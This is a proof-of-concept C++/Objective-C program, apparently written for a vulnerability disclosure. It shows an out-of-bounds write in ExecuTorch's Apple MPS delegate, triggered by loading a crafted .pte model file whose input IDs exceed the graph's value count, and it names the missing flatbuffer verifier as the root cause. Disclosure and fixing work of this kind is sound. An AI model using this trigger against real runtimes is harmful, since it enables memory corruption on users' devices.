| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
|
|
| #import <Foundation/Foundation.h> |
| #import <Metal/Metal.h> |
| #import <MetalPerformanceShaders/MetalPerformanceShaders.h> |
| #import <MetalPerformanceShadersGraph/MetalPerformanceShadersGraph.h> |
|
|
| #include <cassert> |
| #include <cstdint> |
| #include <cstring> |
| #include <fstream> |
| #include <iostream> |
| #include <vector> |
|
|
| |
| |
| |
| |
| #include "schemas/mps_schema_generated.h" |
|
|
| |
| |
| |
| |
| |
| |
| |
| |
| |
| static std::vector<uint8_t> extract_mps_payload(const char* pte_path) { |
| std::ifstream f(pte_path, std::ios::binary | std::ios::ate); |
| if (!f) { |
| std::cerr << "[!] Cannot open " << pte_path << "\n"; |
| exit(1); |
| } |
| std::streamsize sz = f.tellg(); |
| f.seekg(0); |
| std::vector<uint8_t> pte(sz); |
| f.read(reinterpret_cast<char*>(pte.data()), sz); |
|
|
| |
| if (pte.size() < 8 || memcmp(pte.data() + 4, "ET12", 4) != 0) { |
| std::cerr << "[!] Not a valid ExecuTorch .pte (missing ET12 identifier)\n"; |
| exit(1); |
| } |
| std::cout << "[+] Loaded .pte: " << sz << " bytes, identifier ET12 OK\n"; |
|
|
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| const uint8_t* buf = pte.data(); |
| uint32_t root_offset = *reinterpret_cast<const uint32_t*>(buf); |
| const uint8_t* root = buf + root_offset; |
|
|
| |
| int32_t vtable_soffset = *reinterpret_cast<const int32_t*>(root); |
| const uint8_t* vtable = root - vtable_soffset; |
|
|
| |
| |
| auto field_offset = [&](int slot) -> uint16_t { |
| uint16_t vtsize = *reinterpret_cast<const uint16_t*>(vtable); |
| uint16_t field_off_idx = static_cast<uint16_t>(4 + 2 * slot); |
| if (field_off_idx + 2 > vtsize) return 0; |
| return *reinterpret_cast<const uint16_t*>(vtable + field_off_idx); |
| }; |
|
|
| |
| uint16_t bdd_off = field_offset(3); |
| if (bdd_off == 0) { |
| std::cerr << "[!] backend_delegate_data field absent in Program\n"; |
| exit(1); |
| } |
| const uint8_t* bdd_field = root + bdd_off; |
| |
| uint32_t vec_rel = *reinterpret_cast<const uint32_t*>(bdd_field); |
| const uint8_t* bdd_vec = bdd_field + vec_rel; |
| uint32_t bdd_count = *reinterpret_cast<const uint32_t*>(bdd_vec); |
| if (bdd_count == 0) { |
| std::cerr << "[!] backend_delegate_data vector is empty\n"; |
| exit(1); |
| } |
| std::cout << "[+] backend_delegate_data entries: " << bdd_count << "\n"; |
|
|
| |
| const uint8_t* item0_ptr = bdd_vec + 4; |
| uint32_t item0_rel = *reinterpret_cast<const uint32_t*>(item0_ptr); |
| const uint8_t* item0 = item0_ptr + item0_rel; |
|
|
| |
| int32_t item0_vt_soffset = *reinterpret_cast<const int32_t*>(item0); |
| const uint8_t* item0_vt = item0 - item0_vt_soffset; |
| uint16_t data_off = 0; |
| { |
| uint16_t vtsize = *reinterpret_cast<const uint16_t*>(item0_vt); |
| if (vtsize >= 6) |
| data_off = *reinterpret_cast<const uint16_t*>(item0_vt + 4); |
| } |
| if (data_off == 0) { |
| std::cerr << "[!] BackendDelegateInlineData.data field absent\n"; |
| exit(1); |
| } |
| const uint8_t* data_field = item0 + data_off; |
| uint32_t data_rel = *reinterpret_cast<const uint32_t*>(data_field); |
| const uint8_t* data_vec = data_field + data_rel; |
| uint32_t data_len = *reinterpret_cast<const uint32_t*>(data_vec); |
| const uint8_t* mps_blob = data_vec + 4; |
|
|
| std::cout << "[+] MPS blob extracted: " << data_len << " bytes\n"; |
| std::cout << "[+] MPS identifier (bytes 4-7): "; |
| for (int i = 4; i < 8 && i < (int)data_len; i++) |
| std::cout << (char)mps_blob[i]; |
| std::cout << "\n"; |
|
|
| return std::vector<uint8_t>(mps_blob, mps_blob + data_len); |
| } |
|
|
|
|
| |
| |
| |
| |
| |
| |
| static void run_poc(const uint8_t* mps_data, size_t mps_size) { |
| std::cout << "\n[PoC] Entering MPSGraphBuilder::compileModel() code path\n"; |
| std::cout << "[PoC] Source: backends/apple/mps/runtime/MPSGraphBuilder.mm\n"; |
|
|
| |
| assert(mps_data != nullptr); |
|
|
| |
| |
| bool has_id = mpsgraph::MPSGraphBufferHasIdentifier(mps_data); |
| std::cout << "[PoC] MPSGraphBufferHasIdentifier: " << (has_id ? "true" : "false") << "\n"; |
| assert(has_id && "Expected MP00 identifier in crafted payload"); |
|
|
| |
| |
| |
| |
| |
| std::cout << "[PoC] Calling GetMPSGraph() with no Verifier (MPSGraphBuilder.mm:64)\n"; |
| const mpsgraph::MPSGraph* flatBufferGraph = mpsgraph::GetMPSGraph(mps_data); |
| std::cout << "[PoC] GetMPSGraph returned: " << flatBufferGraph << "\n"; |
|
|
| |
| |
| auto graph_type = flatBufferGraph->graph_type(); |
| std::cout << "[PoC] graph_type: " << static_cast<int>(graph_type) |
| << " (0=mps_graph, 1=metal_kernel)\n"; |
|
|
| if (graph_type == mpsgraph::OpType_metal_kernel) { |
| std::cout << "[PoC] metal_kernel path -- not relevant to this PoC\n"; |
| return; |
| } |
|
|
| |
| std::cout << "\n[PoC] Entering compileMPSGraph() (MPSGraphBuilder.mm:89)\n"; |
|
|
| |
| size_t mps_values_count = flatBufferGraph->mps_values() |
| ? flatBufferGraph->mps_values()->size() |
| : 0; |
| std::cout << "[PoC] MPSGraphBuilder.mm:92: _idToMPSGraphTensor.resize(" |
| << mps_values_count << ", nullptr)\n"; |
| std::vector<MPSGraphTensor*> idToMPSGraphTensor(mps_values_count, nullptr); |
|
|
| |
| if (!flatBufferGraph->input_ids()) { |
| std::cout << "[PoC] input_ids is null -- no crash path available\n"; |
| return; |
| } |
|
|
| MPSGraph* graph = [MPSGraph new]; |
|
|
| for (auto in_id : *flatBufferGraph->input_ids()) { |
| std::cout << "\n[PoC] MPSGraphBuilder.mm:95: mpsGraphRankedPlaceholder(" |
| << in_id << ")\n"; |
|
|
| |
| |
| |
| |
| std::cout << "[PoC] Creating MPSGraphTensor placeholder via Metal framework\n"; |
| MPSGraphTensor* placeholder = [graph placeholderWithShape: @[@1] |
| dataType: MPSDataTypeFloat32 |
| name: nil]; |
|
|
| |
| |
| std::cout << "[PoC] MPSGraphBuilder.mm:162: _idToMPSGraphTensor[" |
| << in_id << "] = placeholder\n"; |
| std::cout << "[PoC] Vector size = " << idToMPSGraphTensor.size() |
| << ", index = " << in_id |
| << " -> OOB if index >= size\n"; |
| if ((size_t)in_id >= idToMPSGraphTensor.size()) { |
| std::cout << "[PoC] *** OUT-OF-BOUNDS WRITE -- " |
| << in_id << " >= " << idToMPSGraphTensor.size() << " ***\n"; |
| std::cout << "[PoC] Executing the OOB write now...\n"; |
| std::cout.flush(); |
| } |
|
|
| |
| idToMPSGraphTensor[static_cast<size_t>(in_id)] = placeholder; |
| } |
|
|
| std::cout << "[PoC] (Execution reached here -- no crash without sanitizers)\n"; |
| } |
|
|
|
|
| int main(int argc, const char* argv[]) { |
| setvbuf(stdout, nullptr, _IONBF, 0); |
| std::cout << "==========================================================\n"; |
| std::cout << " ExecuTorch MPS Delegate Runtime PoC\n"; |
| std::cout << " CVE class : CWE-787 (Out-of-bounds Write)\n"; |
| std::cout << " Source : backends/apple/mps/runtime/MPSGraphBuilder.mm\n"; |
| std::cout << " Root cause : GetMPSGraph() called without flatbuffers::Verifier\n"; |
| std::cout << " Fix target : Add MPSGraphBufferVerify() before GetMPSGraph(),\n"; |
| std::cout << " same pattern as Vulkan (VulkanBackend.cpp) and\n"; |
| std::cout << " XNNPACK (XNNCompiler.cpp:2044)\n"; |
| std::cout << "==========================================================\n\n"; |
|
|
| const char* pte_path = (argc > 1) ? argv[1] : "malformed_mps.pte"; |
| std::cout << "[+] Loading .pte from: " << pte_path << "\n"; |
|
|
| std::vector<uint8_t> mps_payload = extract_mps_payload(pte_path); |
| run_poc(mps_payload.data(), mps_payload.size()); |
|
|
| return 0; |
| } |
|
|